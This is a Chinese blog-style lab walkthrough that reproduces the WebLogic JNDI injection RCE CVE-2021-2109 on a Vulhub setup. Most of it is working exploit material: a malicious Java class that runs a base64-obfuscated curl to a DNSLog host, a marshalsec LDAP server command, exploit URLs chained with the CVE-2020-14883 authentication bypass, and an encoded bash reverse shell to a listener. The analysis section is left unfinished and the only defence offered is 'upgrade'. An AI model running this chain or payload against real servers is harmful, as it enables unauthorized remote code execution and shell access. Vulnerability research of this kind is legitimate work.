0x00 前言

简单学习WebLogic JNDI注入RCE(CVE-2021-2109)。

0x01 WebLogic JNDI注入RCE(CVE-2021-2109)

环境搭建

用的Vulhub:

影响版本

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。

前提条件

拥有访问/console/consolejndi.portal页面的用户权限,或者存在CVE-2020-14883未授权访问漏洞。

漏洞原理

WebLogic的/console/consolejndi.portal接口可以调用存在JNDI注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成RCE。

漏洞复现

环境搭建好之后,利用前面CVE-2020-14883的未授权访问漏洞可以直接访问到consolejndi.portal页面:

1
http://ip:7001/console/css/%252e%252e%252fconsolejndi.portal

先来编写一个恶意类Exp,其中payload为打DNSLog外带验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exp {
public Exp() throws Exception {
//Process p = Runtime.getRuntime().exec(newString[]{"cmd","/c","calc.exe"});
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","echo 'Y3VybCBodHRwOi8vd2VibG9naWMudnZkN3FzLmRuc2xvZy5jbi8=' | base64 -d | bash"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}
}

开启Web服务,其中存放上述恶意类以供JNDI注入远程加载访问:

1
python -m SimpleHTTPServer 88

开启恶意LDAP服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.19.0.1:88/#Exp 9998

原始Exp:

1
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.19.0;1:9998/aew0xy;AdminServer%22)

结合未授权访问漏洞的Exp:

1
/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.19.0;1:9998/aew0xy;AdminServer%22)

在LDAP服务端和Web服务端都有记录:

DNSLog外带成功:

证明存在漏洞且能外连,要反弹shell的话直接修改Exp类执行的命令在base64编码即可:

1
2
// bash -i >& /dev/tcp/172.19.0.1/6666 0>&1
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzY2NjYgMD4mMQ==' | base64 -d | bash"});

更新Web服务上的Exp类后,再发一次报文就能成功获取到shell了:

漏洞分析

参考:

https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

https://y4er.com/post/weblogic-cve-2021-2109-jndi-rce/

待分析…

防御方法

升级WebLogic版本。